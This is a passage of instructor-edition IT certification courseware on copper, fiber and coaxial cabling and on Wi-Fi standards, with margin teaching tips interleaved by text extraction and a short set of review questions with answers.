Shielded cable can be referred to generically as “STP,” but several types of shielding
Explain that STP and screening exist:
generally only
needs to be used in • Screened cable has one thin outer foil shield around all pairs. Screened cable is
circumstances where usually designated as screened twisted pair (ScTP) or foiled/unshielded twisted
risk of interference pair (F/UTP), or sometimes just foiled twisted pair (FTP).
is heightened (such
as proximity to
• Fully shielded cabling has a braided outer screen and foil-shielded pairs and is
power lines, motors,
and generators). referred to as “shielded/foiled twisted pair” (S/FTP). There are also variants with a
A datacenter with foil outer shield (F/FTP).
10G and higher will
typically require
shielded cable.

F/UTP cable with a foil screen surrounding unshielded pairs. (Image by Baran Ivo and released to
public domain.)

The screening/shielding elements of shielded cable must be bonded to the

connector to prevent the metal from acting as a large antenna and generating
interference. Modern F/UTP and S/FTP solutions (using appropriate cable,
connectors, and patch panels) facilitate this by incorporating bonding within the
design of each element.

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Cat Standards
A Cat specification is a particular twisted pair cable construction method rated Show
for use with given Ethernet standards. Higher Cat specification cable is capable of Slide(s)
higher data rates. Cat specifications are defined in the TIA/EIA-568-C Commercial Cat Standards
Building Telecommunications Cabling Standards.
Teaching
Cat Max. Transfer Rate Max. Distance Ethernet Standard Support Tip
5 100 Mbps 100 m (328 ft) 100BASE-TX (Fast Ethernet) Note that both UTP
and STP are rated to
5e 1 Gbps 100 m (328 ft) 1000BASE-T (GB Ethernet) these standards.
6 1 Gbps 100 m (328 ft) 1000BASE-T (GB Ethernet)
Interaction
10 GBps 55 m (180 ft) 10GBASE-T (10 GB Ethernet) Opportunity
6A 10 GBps 100 m (328 ft) 10GBASE-T (10 GB Ethernet) If you have examples
of different cables,
The Cat specification is printed on the cable jacket along with the cable type (UTP
pass them around
or F/UTP, for instance). Cat 5 cable supports the older 100 Mbps Fast Ethernet or show them, and
standard. It is no longer commercially available. A network cabled with Cat 5 will point out the jacket
probably need to be rewired to support Gigabit Ethernet. markings identifying
the Cat specification.
Cat 5e would still be an acceptable choice for providing Gigabit Ethernet links for
client computers, but most sites would now opt to install Cat 6 cable. The improved
construction standards for Cat 6 mean that it is more reliable than Cat 5e for
Gigabit Ethernet, and it can also support 10 Gbps, though over reduced range.
Cat 6A supports 10 Gbps over 100 m, but the cable is bulkier and heavier than
Cat 5e and Cat 6, and the installation requirements more stringent, so fitting it
within pathways designed for older cable can be problematic. TIA/EIA standards
recommend Cat 6A for health care facilities, with Power over Ethernet (PoE) 802.3bt
installations, and for running distribution system cable to wireless access points.

Copper Cabling Connectors

Twisted pair cabling for Ethernet can be terminated using modular RJ45 connectors. Show
RJ45 connectors are also referred to as “8P8C,” standing for eight-position/eight- Slide(s)
contact. Each conductor in four-pair Ethernet cable is color-coded. Each pair is Copper Cabling
assigned a color (orange, green, blue, and brown). The first conductor in each pair Connectors
has a predominantly white insulator with stripes of the color; the second conductor
has an insulator with the solid color. Teaching
Tip
Students should learn
these pin-outs. Note
that the blue and
brown pairs do not
change and that solid
colors terminate to
even-number pins.
Also mention uses for
RJ11 connectors, but
note that these only
rarely need to be field
terminated.

Twisted pair RJ45 connectors. (Image © 123RF.com.)

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The TIA/EIA-568 standard defines two methods for terminating twisted pair: T568A/
T568B. In T568A, pin 1 is wired to green/white, pin 2 is wired to green, pin 3 is wired
to orange/white, and pin 6 is wired to orange. In T568B, the position of the green
and orange pairs is swapped over, so that orange terminates to 1 and 2 and green
to 3 and 6. When cabling a network, it is best to use the same termination method
consistently. A straight through Ethernet cable is wired with the same type of
termination at both ends.
Using T568A at one end and T568B at the other creates a crossover cable. Crossover
cables were once used to connect computers directly, but Gigabit Ethernet interfaces
can perform the crossover automatically, even if standard cable is used.

Twisted-pair can also be used with RJ11 connectors. Unlike the four-pair cable
used with Ethernet, RJ11 is typically used to terminate two-pair cable, which is
widely used in telephone systems and with broadband digital subscriber line (DSL)
modems.

Copper Cabling Installation Tools

Show Data cable for a typical office is installed as a structured cabling system. With
Slide(s) structured cabling, the network adapter port in each computer is connected to a
Copper Cabling wall port using a flexible patch cord. Behind the wall port, permanent cable is run
Installation Tools through the wall and ceiling to an equipment room and connected to a patch panel.
The port on the patch panel is then connected to a port on an Ethernet switch.
Teaching
Tip A structured cabling system uses two types of cable termination:
Make sure students • Patch cords are terminated using RJ45 plugs crimped to the end of the cable.
understand the
difference between • Permanent cable is terminated to wall ports and patch panels using insulation
terminating to an displacement connectors (IDC), also referred to as “punchdown blocks.”
IDC at a wall port
or patch panel
(structured cabling) The 100 m distance limitation is for the whole link, referred to as "channel link." Each
and terminating to an patch cord can only be up to 5 m long. Permanent link use solid cable with thicker
RJ45 connector (patch wires. Patch cords use stranded cable with thinner wires that is more flexible but also
cord cabling). suffers more from attenuation.

Interaction
Installing cable in this type of system involves the use of cable strippers,
Opportunity
punchdown tools, and crimpers.
If you have cable
connectors and Cable Stripper and Snips
crimpers and/or IDCs
and punchdown To terminate cable, a small section of outer jacket must be removed to expose the
tools, consider having
wire pairs. This must be done without damaging the insulation on the inner wire
learners use them to
create cable segments. pairs. A cable stripper is designed to score the outer jacket just enough to allow it
to be removed. Set the stripper to the correct diameter, and then place the cable in
the stripper and rotate the tool once or twice. The score cut in the insulation should
now allow you to remove the section of jacket.

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A cable stripper. (Image by gasparij © 123RF.com)

Most Cat 6 and all Cat 6A cable has a plastic star filler running through it that keeps
the pairs separated. You need to use electrician’s scissors (snips) to cut off the
end of this before terminating the cable. There will also be a nylon thread called a
“ripcord.” This can be pulled down the jacket to open it up more if you damaged any
of the wire pairs initially. Snip any excess ripcord before terminating the cable.

Punchdown Tool
A punchdown tool is used to fix each conductor into an IDC. First, untwist the
wire pairs, and lay them in the color-coded terminals in the IDC in the appropriate
termination order (T568A or T568B). To reduce the risk of interference, no more
than ½” (13 mm) should be untwisted. Use the punchdown tool to press each wire
into the terminal. Blades in the terminal cut through the insulation to make an
electrical contact with the wire.

Connecting UTP cable to IDCs using a punchdown tool. (Image by dero2084 © 123RF.com.)

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Crimper
A crimper is used to fix a jack to a patch cord. Orient the RJ45 plug so that the tab
latch is underneath. Pin 1 is the first pin on the left. Arrange the wire pairs in the
appropriate order (T568A or T568B), and then push them into the RJ45 plug. Place
the plug in the crimper tool, and close it tightly to pierce the wire insulation at the
pins and seal the jack to the outer cable jacket.

A wire crimper. (Image by gasparij © 123RF.com)

Copper Cabling Test Tools

Show Once you have terminated cable, you must test it to ensure that each wire makes a
Slide(s) good electrical contact and is in the correct pin position. The best time to verify wiring
Copper Cabling Test installation and termination is just after you have made all the connections. This
Tools means you should still have access to the cable runs. Identifying and correcting errors
at this point will be much simpler than when you are trying to set up end user devices.
Teaching
Tip
You can use several cabling and infrastructure troubleshooting devices to assist
with this process.
Without going into too
much detail, explain
how each tool assists Cable Tester
with a particular
verification or A cable tester is a pair of devices designed to attach to each end of a cable. It can
troubleshooting task. be used to test a patch cord or connected via patch cords to a wall port and patch
panel port to test the permanent link. The tester energizes each wire in turn, with
Interaction an LED indicating successful termination. If an LED does not activate, the wire is
Opportunity not conducting a signal, typically because the insulation is damaged or the wire
If you have examples isn’t properly inserted into the plug or IDC. If the LEDs do not activate in the same
of these tools and sequence at each end, the wires have been terminated to different pins at each
have created cable end. Use the same type of termination on both ends.
segments, use the
tools to validate the
wiring.

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Basic cable tester. (Image by samum © 123RF.com)

Toner Probe
Many cable testers also incorporate the function of a toner probe, which is used to
identify a cable from within a bundle. This may be necessary when the cables have
not been labeled properly. The tone generator is connected to the cable using an
RJ45 jack and applies a continuous audio signal on the cable. The probe is used to
detect the signal and follow the cable over ceilings and through ducts or identify it
from within the rest of the bundle.

Disconnect the other end of the cable from any network equipment before activating the
tone generator.

Loopback Plug
A loopback plug is used to test an NIC or switch port. You can make a basic
loopback plug from a 6” cable stub where the wires connect pin 1 to pin 3 and pin
2 to pin 6. When you connect a loopback plug to a port, you should see a solid link
LED showing that the port can send and receive.

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A loopback plug. (Image © 123RF.com)

A loopback plug made from a cable stub is unlikely to work with Gigabit Ethernet ports.
You can obtain manufactured Gigabit port loopback testers.

Network Taps
Show A network tap is used to intercept the signals passing over a cable and send them
Slide(s) to a packet or protocol analyzer. Taps are either powered or unpowered:
Network Taps • A passive test access point (TAP) is a box with ports for incoming and outgoing
network cabling and an inductor or optical splitter that physically copies the
Teaching signal from the cabling to a monitor port. No logic decisions are made, so the
Tip monitor port receives every frame—corrupt or malformed or not—and the
Mirror ports aren’t copying is unaffected by load.
actually on the
objectives, but they • An active TAP is a powered device that performs signal regeneration, which
are probably worth may be necessary in some circumstances. Gigabit signaling over copper wire is
mentioning as a more
too complex for a passive tap to monitor, and some types of fiber links may be
common way of
implementing traffic adversely affected by optical splitting. Because it performs an active function, the
sniffing. TAP becomes a point of failure for the links during power loss.

Network sniffing can also be facilitated using a switched port analyzer (SPAN)/
mirror port. This means that the sensor is attached to a specially configured port on
a network switch. The mirror port receives copies of frames addressed to nominated
access ports (or all the other ports).

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Copper Cabling Installation Considerations

Installation of cable must be compliant with local building regulations and fire Show
codes. This means that specific cable types must be used in some installation Slide(s)
scenarios.
Copper Cabling
Installation
Plenum Cable Considerations

A plenum space is a void in a building designed to carry heating, ventilation, and Teaching
air conditioning (HVAC) systems. Plenum space is typically a false ceiling, though Tip
it could also be constructed as a raised floor. As it makes installation simpler, this Explain that these
space has also been used for communications wiring in some building designs. requirements affect
Plenum space is an effective conduit for fire, as there is plenty of airflow and no the jacket/insulation
fire breaks. If the plenum space is used for heating, there may also be higher materials.
temperatures. Therefore, building regulations require the use of fire-retardant CableWholesale
plenum cable in such spaces. Plenum cable must not emit large amounts of smoke has a useful guide
when burned, be self-extinguishing, and meet other strict fire safety standards. to the full range of
identifiers printed
General purpose (non-plenum) cabling uses PVC jackets and insulation. Plenum- on cable jackets
rated cable uses treated PVC or fluorinated ethylene polymer (FEP). This can make (cablewholesale.com/
the cable less flexible, but the different materials used have no effect on bandwidth. support/technical_
articles/jowling_for_
Data cable rated for plenum use under the US National Electrical Code (NEC) is
jackets.php)
marked as CMP/MMP on the jacket. General purpose cables are marked CMG/MMG
or CM/MP.

Direct Burial
Outside plant (OSP) is cable run on the external walls of a building or between two
buildings. This makes the cable vulnerable to different types of weathering:
• Aerial cable is typically strung between two poles or anchors. The ultraviolet (UV)
rays in sunlight plus exposure to more extreme and changing temperatures and
damp will degrade regular PVC.

• Conduit can provide more protection for buried cable runs. Such cable can still
be exposed to extreme temperatures and damp, however, so regular PVC cable
should not be used.
Show
• Direct burial cable is laid and then covered in earth or cement/concrete. Slide(s)

OSP cable types use special coatings to protect against UV and abrasion and are Optical Cabling
often gel filled to protect against temperature extremes and damp. Direct burial
cable may also need to be armored to protect against chewing by rodents. Teaching
Tip
Explain the
Optical Cabling advantages of fiber
optic cabling over UTP.
Copper wire carries electrical signals, which are sensitive to interference and
attenuation. The light pulses generated by lasers and LEDs are not susceptible to Interaction
interference and suffer less from attenuation. Consequently, optical cabling can Opportunity
support much higher bandwidth links, measured in multiple gigabits or terabits per
If you have samples
second, and longer cable runs, measured in miles rather than feet. of the various fiber
optic connectors that
can be passed around,
consider doing so.
Explain that there are
other types of fiber
optic connectors,
but this list focuses
A fiber optic strand. (Image by atrush © 123RF.com) on those that are
most commonly
encountered.

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An optical fiber consists of an ultra-fine core of glass to convey the light pulses. The
core is surrounded by glass or plastic cladding, which guides the light pulses along
the core. The cladding has a protective coating called the “buffer.” The fiber optic
cable is contained in a protective jacket and terminated by a connector.
Fiber optic cables fall into two broad categories: single-mode and multi-mode:
• Single-mode fiber (SMF) has a small core (8–10 microns) and is designed to
carry a long wavelength (1,310 or 1,550 nm) infrared signal, generated by a high-
power, highly coherent laser diode. Single-mode cables support data rates up to
10 Gbps or better and cable runs of many kilometers, depending on the quality
of the cable and optics.

• Multi-mode fiber (MMF) has a larger core (62.5 or 50 microns) and is designed
to carry a shorter wavelength infrared light (850 nm or 1,300 nm). MMF uses
less expensive and less coherent LEDs or vertical cavity surface emitting lasers
(VCSELs) and consequently is less expensive to deploy than SMF. However, MMF
does not support such high signaling speeds or long distances as single-mode
and so is more suitable for LANs than WANs.

The core of a fiber optic connector is a ceramic or plastic ferrule that ensures
continuous reception of the light signals. Several connector form factors are
available:
• Straight tip (ST) is a bayonet-style connector that uses a push-and-twist locking
mechanism; it is used mostly for multi-mode networks.

• Subscriber connector (SC) has a push/pull design that allows for simpler
insertion and removal than fiber channel (FC) connector. There are simplex
and duplex versions, though the duplex version is just two connectors clipped
together. It can be used for single- or multi-mode.

• Lucent connector (LC) is a small form factor connector with a tabbed push/pull
design. LC is similar to SC, but the smaller size allows for higher port density.

Patch cord with duplex SC format connectors (left) and LC connectors (right). (Image by YANAWUT
SUNTORNKIJ © 123RF.com.)

Patch cords for fiber optic can come with the same connector on each end (ST-ST,
for instance) or a mix of connectors (ST-SC, for instance). Fiber optic connectors
are quite easy to damage and should not be repeatedly plugged in and unplugged.
Unused ports and connectors should be covered by a dust cap to minimize the risk
of contamination.

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Coaxial Cabling
Coaxial (coax) cable is a different type of copper cabling, also carrying electrical Show
signals. Where twisted pair uses balancing to cancel out interference, coax uses Slide(s)
two conductors that share the same axis. The core signal conductor is enclosed by Coaxial Cabling
plastic insulation (dielectric), and then a second wire mesh conductor serves both as
shielding from EMI and as a ground. Teaching
Tip
Explain typical use
of coax cabling in
“cable” Internet access
services.

Detailed layers of a coaxial cable. (Image by destinacigdem © 123RF.com)

Coax is now mostly used for CCTV installations and as patch cable for Cable Access
TV (CATV) and broadband cable modems. Coax for CATV installations is typically
terminated using a screw-down F-type connector.

F-type coaxial connector. (Image © 123RF.com.)

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Review Activity:
Network Cable Types
6

Answer the following questions:

Show 1. You are performing a wiring job, but the company wants to purchase the
Slide(s) media and components from another preferred supplier. The plan is to
install a network using copper cabling that will support Gigabit Ethernet.
Review
The customer is about to purchase Cat 5e cable spools. What factors
Teaching should they consider before committing to this decision?
Tip
Cat5e will meet the requirement and will cost the least. Cat 6 offers better
Take some time at performance without adding too much cost. Cat 6A would be the best choice for
the end of each topic
supporting future requirements, but it is likely to cost more than the customer is
to answer questions.
You can use the budgeting for.
review questions
for discussion in 2. A network consultant is recommending the use of S/FTP to extend a
class or set them for cable segment through a factory. Is this likely to be an appropriate cable
students to complete choice?
individually during or
after class. Yes. Shielded/foiled twisted pair (S/FTP) will provide the best protection from the
external interference sources likely to be generated by factory machinery.

3. You are reviewing network inventory and come across an undocumented

cable reel with “CMP/MMP” marked on the jacket. What installation type
is this cable most suitable for?

The cable is plenum cable, rated for use in plenum spaces (building voids used with
HVAC systems).

4. You need to connect permanent cable to the back of a patch panel.

Which networking tool might help you?

A cable stripper to remove the jacket insulation and a punchdown tool to terminate
the wire pairs into insulation displacement connector (IDC) blocks.

5. Which fiber optic connector uses a small form factor design?

The Lucent Connector (LC).

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Topic 4D
Compare Wireless Networking Types
6

CORE 1 EXAM OBJECTIVES COVERED Show

2.2 Compare and contrast common networking hardware (Access point only). Slide(s)
2.3 Compare and contrast protocols for wireless networking.
Compare Wireless
2.8 Given a scenario, use networking tools (Wi-Fi analyzer only). Networking Types

Wireless technologies can now achieve sufficient bandwidth to replace wired ports Teaching
for many types of clients in a typical office. It is also more convenient for SOHO Tip
networks to use wireless as the primary access method for computers, laptops, This topic lists
smartphones, tablets, and smart home devices. Wireless can provide connectivity each standard in
for desktops or even servers in places where it is difficult or expensive to run sequence with the
aim of explaining
network cabling. As a CompTIA A+ technician, you will often be called upon to bands, channels,
install, configure, and troubleshoot wireless technologies, so understanding the range, interference,
standards and types of devices that underpin a wireless network will help you to and bandwidth
provide effective support to your users and customers. improvements
(bonding, MIMO) along
the way.
Access Points
Wireless technologies use radio waves as transmission media. Radio systems use Show
transmission and reception antennas tuned to a specific frequency for the transfer Slide(s)
of signals. Most wireless LANs (WLANs) are based on the IEEE 802.11 standards, Access Points
better known by the brand name Wi-Fi.
Most Wi-Fi networks are configured in what is technically referred to as Teaching
“infrastructure mode.” Infrastructure mode means that each client device (station) Tip
is configured to connect to the network via an access point (AP). In 802.11 Explain that an access
documentation, this is referred to as an infrastructure “Basic Service Set” (BSS). The point performs the
same sort of function
MAC address of the AP’s radio is used as the Basic Service Set Identifier (BSSID). as a concentrator in a
An access point can establish a wireless-only network, but it can also work as a cabled network.
bridge to forward communications between the wireless stations and a wired
network. The wired network is referred to as the “distribution system” (DS). The
access point will be joined to the network in much the same way as a host computer
is—via a wall port and cabling to an Ethernet switch. An enterprise network is likely
to use Power over Ethernet (PoE) to power the AP over the data cabling.

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Show
Slide(s)
802.11a and the 5 GHz
Frequency Band
An access point. (Image © 123RF.com)
Teaching
Tip
Note that 802.11a
802.11a and the 5 GHz Frequency Band
dates from 1999, so
students are unlikely
Every Wi-Fi device operates on a specific radio frequency range within an overall
to come across any frequency band. Each frequency band is split into a series of smaller ranges
devices that actually referred to as “channels.”
use it. Focus on the
features of the 5 GHz Frequency Bands
band.
Point out the It is important to understand the performance characteristics of the two main
relationship between frequency bands used by the IEEE 802.11 standards:
frequency, power,
range, and bandwidth.
• The 2.4 GHz standard is better at propagating through solid surfaces, giving it
A low frequency the longest signal range. However, the 2.4 GHz band does not support a high
signal, such as number of individual channels and is often congested, with both other Wi-Fi
UHF, can travel a networks and other types of wireless technology, such as Bluetooth®. Also,
long way but can microwave ovens work at frequencies in the 2.4 GHz band. Consequently, with
carry relatively little
the 2.4 GHz band, there is increased risk of interference, and the maximum
information because
lots of broadcasters achievable data rates are typically lower than with 5 GHz.
want to use this bit
of the spectrum, so • The 5 GHz standard is less effective at penetrating solid surfaces and so does
they are allocated not support the maximum ranges achieved with 2.4 GHz standards, but the
only narrow portions band supports more individual channels and suffers less from congestion and
of it. A Wi-Fi signal interference, meaning it supports higher data rates at shorter ranges.
needs more power
to travel even a short
distance, but it can
use wider "channels"
with a higher range
of frequencies in
them to carry more
information.

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The nominal indoor range for Wi-Fi over 2.4 GHz is 45 m (150 feet) and 30 m (100
feet) over 5 GHz. Depending on the wireless standard used, building features that
may block the signal, and interference from other radio sources, clients are only
likely to connect at full speed from a third to a half of those distances.

IEEE 802.11a and 5 GHz Channel Layout

The IEEE 802.11a standard uses the 5 GHz frequency band only. The data encoding
method allows a maximum data rate of 54 Mbps. The 5 GHz band is subdivided into
23 non-overlapping channels, each of which is 20 MHz wide.
The exact use of channels can be subject to different regulation in different
countries. Regulatory impacts also include a limit on power output, constraining
the range of Wi-Fi devices. Devices operating in the 5 GHz band must implement
dynamic frequency selection (DFS) to prevent Wi-Fi signals from interfering with
nearby radar and satellite installations.

Unlicensed National Information Infrastructure (U-NII) sub-bands form the 20 MHz channels used
in the 5 GHz frequency band. Each sub-band is 5 MHz wide, so the Wi-Fi channels are spaced in
intervals of four to allow 20 MHz bandwidth. Channels within the DFS range will be disabled if the
access point detects radar signals.

802.11b/g and the 2.4 GHz Frequency Band

The IEEE 802.11b standard uses the 2.4 GHz frequency band and was released in Show
parallel with 802.11a. The signal encoding methods used by 802.11b are inferior to Slide(s)
802.11a and support a nominal data rate of just 11 Mbps.
802.11b/g and the 2.4
The 2.4 GHz band is subdivided into up to 14 channels, spaced at 5 MHz intervals GHz Frequency Band
from 2,412 MHz up to 2,484 MHz. Because the spacing is only 5 MHz and Wi-Fi
needs 20 MHz channel bandwidth, 802.11b channels overlap quite considerably. Teaching
This means that interference is a real possibility unless widely spaced channels are Tip
chosen (1, 6, and 11, for instance). Also, in the Americas, regulations permit the use The 802.11b standard
of channels 1–11 only, while in Europe, channels 1–13 are permitted, and in Japan, is also from 1999 and
802.11g from 2003, so
all 14 channels are permitted. these are also unlikely
to be found on
production systems.
Contrast the 2.4 GHz
band with the 5 GHz
band.

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Channel overlap in the 2.4 GHz band.

The IEEE 802.11g standard offered a relatively straightforward upgrade path from
802.11b; uses the same encoding mechanism and 54 Mbps rate as 802.11a but in
the 2.4 GHz band used by 802.11b and with the same channel layout. This made it
straightforward for vendors to design 802.11g devices that could offer backwards
support for legacy 802.11b clients.

802.11n
Show The IEEE 802.11n standard introduced several improvements to increase
Slide(s) bandwidth. It can work over both 2.4 GHz and 5 GHz. Each band is implemented
802.11n by a separate radio. An access point or adapter that can support simultaneous 2.4
GHz and 5 GHz operation is referred to as “dual band.” Cheaper client adapters and
Teaching many smartphone adapters support only a 2.4 GHz radio.
Tip The 802.11n standard allows two adjacent 20 MHz channels to be combined into
Without going into a single 40 MHz channel, referred to as “channel bonding.” Due to the restricted
too much detail, channel layout of 2.4 GHz, on a network with multiple APs, channel bonding is a
explain the features
practical option only in the 5 GHz band. However, note that 5 GHz channels are
that allow the
substantial bandwidth not necessarily contiguous and use of some channels may be blocked if the access
improvements in Wi-Fi point detects a radar signal.
4 (2009).

802.11n 40 MHz bonded channel options in the 5 GHz band. The center channel number is used to
identify each bonded channel.

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The other innovation introduced with 802.11n increases reliability and bandwidth
by multiplexing signal streams from 2–3 separate antennas. This technology
is referred to as “multiple input multiple output” (MIMO). The antenna
configuration is represented as 1x1, 2x2, or 3x3 to indicate the number of transmit
and receive antennas available to the radio.
The nominal data rate for 802.11n is 72 Mbps per stream or 150 Mbps per stream
for a 40 MHz bonded channel, and 802.11n access points are marketed using Nxxx
designations, where xxx is the nominal bandwidth. As an example, an N600 2x2
access point can allocate a bonded channel two streams for a data rate of 300
Mbps, and if it does this simultaneously on both its 2.4 GHz and 5 GHz radios, the
bandwidth of the access point could be described as 600 Mbps.
In recent years, Wi-Fi standards have been renamed with simpler digit numbers;
802.11n is now officially designated as Wi-Fi 4.

Wi-Fi 5 and Wi-Fi 6

The Wi-Fi 5 (or 802.11ac) and Wi-Fi 6 (802.11ax) standards continue the Show
development of Wi-Fi technologies to increase bandwidth and support modern Slide(s)
networks. Wi-Fi 5 and Wi-Fi 6

Wi-Fi 5 (802.11ac) Teaching

Tip
Wi-Fi 5 is designed to work only in the 5 GHz band. A dual band access point can
Without going into
use its 2.4 GHz radio to support clients on legacy standards (802.11g/n). A tri band
too much detail,
access point has one 2.4 GHz radio and two 5 GHz radios. Wi-Fi 5 allows up eight explain the features
streams, though in practice, most Wi-Fi 5 access points only support 4x4 streams. that allow the
A single stream over an 80 MHz channel has a nominal rate of 433 Mbps. substantial bandwidth
improvements in Wi-Fi
Wi-Fi 5 also allows wider 80 and 160 MHz bonded channels. 5 (2013) and Wi-Fi 6
(2019).

80 and 160 MHz bonded channel options for Wi-Fi 5.

Wi-Fi 5 access points are marketed using AC values, such as AC5300. The 5300 value
is made up of the following:
• 1,000 Mbps over a 40 MHz channel with 2x2 streams on the 2.4 GHz radio.

• 2,166 Mbps over an 80 MHz bonded channel with 4x4 streams on the first 5 GHz
radio.

• 2,166 Mbps on the second 5 GHz radio.

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You’ll notice that, given 802.11n 150 Mbps per stream (40 MHz channels) and 802.11ac
433 Mbps per stream (80 MHz channels), none of those values can be made to add up.
The labels are only useful as relative performance indicators.

Multiuser MIMO
In basic 802.11 operation modes, bandwidth is shared between all stations. An AP
can communicate with only one station at a time; multiple station requests go into
a queue. This means that Wi-Fi networks experience the same sort of contention
issues as legacy Ethernet hubs. Wi-Fi 5 products partially address this problem
using multiuser MIMO (MU-MIMO). In Wi-Fi 5, downlink MU-MIMO (DL MU-MIMO)
allows the access point to use its multiple antennas to send data to up to four
clients simultaneously.

Wi-Fi 6 (802.11ax)
Wi-Fi 6 improves the per-stream data rate over an 80 MHz channel to 600 Mbps.
As with Wi-Fi 5, products are branded using the combined throughput of all radios.
For example, AX6000 claims nominal rates of 1,148 Mbps on the 2.4 GHz radio and
4,804 Mbps over 5 GHz.
Wi-Fi 6 works in both the 2.4 GHz and 5 GHz bands. The Wi-Fi 6e standard adds
support for a new 6 GHz frequency band. 6 GHz has less range, but more frequency
space, making it easier to use 80 and 160 MHz channels.
Where Wi-Fi 5 supports up to four simultaneous clients over 5 GHz only, Wi-Fi 6 can
support up to eight clients, giving it better performance in congested areas. Wi-Fi 6
also adds support for uplink MU-MIMO, which allows MU-MIMO-capable clients to
send data to the access point simultaneously.
Wi-Fi 6 introduces another technology to improve simultaneous connectivity called
“orthogonal frequency division multiple access” (OFDMA). OFDMA can work
alongside MU-MIMO to improve client density—sustaining high data rates when
more stations are connected to the same access point.
Show
Slide(s) Wireless LAN Installation Considerations
Wireless LAN
Clients identify an infrastructure WLAN through the network name or service set
Installation
Considerations identifier (SSID) configured on the access point. An SSID can be up to 32 bytes in
length and, for maximum compatibility, should only use ASCII letters and digits plus
Teaching the hyphen and underscore characters.
Tip
Show how the
concepts covered so
far are implemented
in the configuration
setting pages of a
typical access point.

Interaction
Opportunity
If you have Internet
access, you can
demonstrate
configuration on an
emulator (emulator.
tp-link.com/1201-
ap/index.html for
example).

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Configuring an access point. (Screenshot courtesy of TP-Link.)

When configuring an access point, you need to choose whether to use the same or
different network names for both frequency bands. If you use the same SSID, the
access point and client device will use a probe to select the band with the strongest
signal. If you configure separate names, the user can choose which network and
band to use.
For each frequency band, you also need to select the operation mode. This
determines compatibility with older standards and support for legacy client devices.
Supporting older devices can reduce performance for all stations.
Finally, for each frequency band, you need to configure the channel number and
whether to use channel bonding. If there are multiple access points whose ranges
overlap, they should be configured to use nonoverlapping channels to avoid
interference. An access point can be left to autoconfigure the best channel, but this
does not always work well. You can configure wide channels (bonding) for more
bandwidth, but this has the risk of increased interference if there are multiple
nearby wireless networks. Channel bonding may only be practical in the 5 GHz
band, depending on the wireless site design.

Along with the Wi-Fi frequency band and channel settings, you should also configure
security parameters to control who is allowed to connect. Wi-Fi security is covered in the
Core 2 course.

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Wi-Fi Analyzers
Show To determine the best channel layout and troubleshoot wireless network
Slide(s) performance, you need to measure the signal strength of the different networks
Wi-Fi Analyzers using each channel. This can be accomplished using a Wi-Fi analyzer. This type of
software can be installed to a laptop or smartphone. It will record statistics for the
Interaction AP that the client is currently associated with and detect any other access points in
Opportunity the vicinity.
Consider Wireless signal strength is measured in decibel (dB) units. Signal strength is
demonstrating use represented as the ratio of a measurement to 1 milliwatt (mw), where 1 mW is
of a Wi-Fi analyzer
to report nearby
equal to 0 dBm. Because 0 dBm is 1 mW, a negative value for dBm represents a
networks. fraction of a milliwatt. For example, -30 dBm is 0.001 mW; -60 dBm is 0.000001 mW.
Wi-Fi devices are all constrained by regulations governing spectrum use and output
only small amounts of power.
When you are measuring signal strength, dBm values closer to zero represent
better performance. A value around -65 dBm represents a good signal, while
anything over -80 dBm is likely to suffer packet loss or be dropped.

The dB units express the ratio between two values using a logarithmic scale. A
logarithmic scale is nonlinear, so a small change in value represents a large change in
the performance measured. For example, +3 dB means doubling, while -3 dB means
halving.

The comparative strength of the data signal to the background noise is called
the signal-to-noise ratio (SNR). Noise is also measured in dBm, but here values
closer to zero are less welcome, as they represent higher noise levels. For example,
if signal is ‑65 dBm and noise is ‑90 dBm, the SNR is the difference between the
two values, expressed in dB (25 dB). If noise is -80 dBm, the SNR is 15 dB and the
connection will be much, much worse.
In the following screenshot, a Wi-Fi analyzer is being used to report nearby
networks and channel configurations. The “hom” network is supported by two
access points using the same SSID for both bands. They are configured to use
channels 6 and 11 on the 2.4 GHz band, with the stronger signal on channel 6,
indicating the closer access point. On the 5 GHz band, only the signal on channel
36 is detected by this client. This is because 5 GHz has less range than 2.4 GHz.
The blurred networks belong to other owners and have much weaker signals. Also
note from the status bar that the client adapter supports Wi-Fi 6 (ax), but the access
points only support b/g/n/ac (shown in the mode column).

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Metageek inSSIDer Wi-Fi analyzer software showing nearby access points. (MetaGeek,
LLC. © Copyright 2005-2021)

Long-Range Fixed Wireless

Wireless technology can be used to configure a bridge between two networks. This Show
can be a more cost-effective and practical solution than laying cable. However, Slide(s)
regulation of the radio spectrum means that the transmitters required to cover long Long Range Fixed
distances must be carefully configured. These solutions are referred to as long- Wireless
range fixed wireless.
Teaching
Point-to-point line of sight fixed wireless uses ground-based high-gain microwave
Tip
antennas that must be precisely aligned with one another. “High-gain” means
Explain the use of
that the antenna is strongly directional. Each antenna is pointed directly at the
fixed wireless to
other and can transmit signals at ranges of up to about 30 miles as long as they establish point-to-
are unobstructed by physical objects. The antennas themselves are typically point links.
affixed to the top of tall buildings or mounted on tall poles to reduce the risk from
obstructions.
Long-range fixed wireless can be implemented using licensed or unlicensed
frequency spectrum. Licensed means that the network operator purchases the
exclusive right to use a frequency band within a given geographical area from the
regulator. The US regulator is the Federal Communications Commission (FCC). If any
interference sources are discovered, the network operator has the legal right to get
them shut down.
Unlicensed spectrum means the operator uses a public frequency band, such
as 900 MHz, 2.4 GHz, and 5 GHz. Anyone can use these frequencies, meaning
that interference is a risk. To minimize the potential for conflicts, power output
is limited by regulatory requirements. A wireless signal’s power has three main
components:
• Transmit power is the basic strength of the radio, measured in dBm.

• Antenna gain is the amount that a signal is boosted by directionality—focusing

the signal in a single direction rather than spreading it over a wide area. Gain is
measured in decibels isotropic (dBi).

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• Effective isotropic radiated power (EIRP) is the sum of transmit power and
gain, expressed in dBm.

Lower frequencies that propagate farther have stricter power limits than higher
frequencies. However, higher EIRPs are typically allowed for highly directional
antennas. For example, in the 2.4 GHz band, each 3 dBi increase in gain can be
compensated for by just a 1 dBm reduction in transmit power. This allows point-to-
point wireless antennas to work over longer ranges than Wi-Fi APs.

Bluetooth, RFID, and NFC

Show Wi-Fi is used for networking computer hosts together, but other types of wireless
Slide(s) technology are used to implement personal area networking (PAN).
Bluetooth, RFID, and
NFC Bluetooth

Teaching Bluetooth is used to connect peripheral devices to PCs and mobiles and to share
Tip data between two systems. Many portable devices, such as smartphones, tablets,
wearable tech, audio speakers, and headphones, now use Bluetooth connectivity.
Explain that these
standards are also Bluetooth uses radio communications and supports speeds of up to 3 Mbps.
based on radio Adapters supporting version 3 or 4 of the standard can achieve faster rates (up to
networking, but with 24 Mbps) through the ability to negotiate an 802.11 radio link for large file transfers.
lower transfer rates/
range and for different The earliest Bluetooth version supports a maximum range of 10 m (30 feet), while
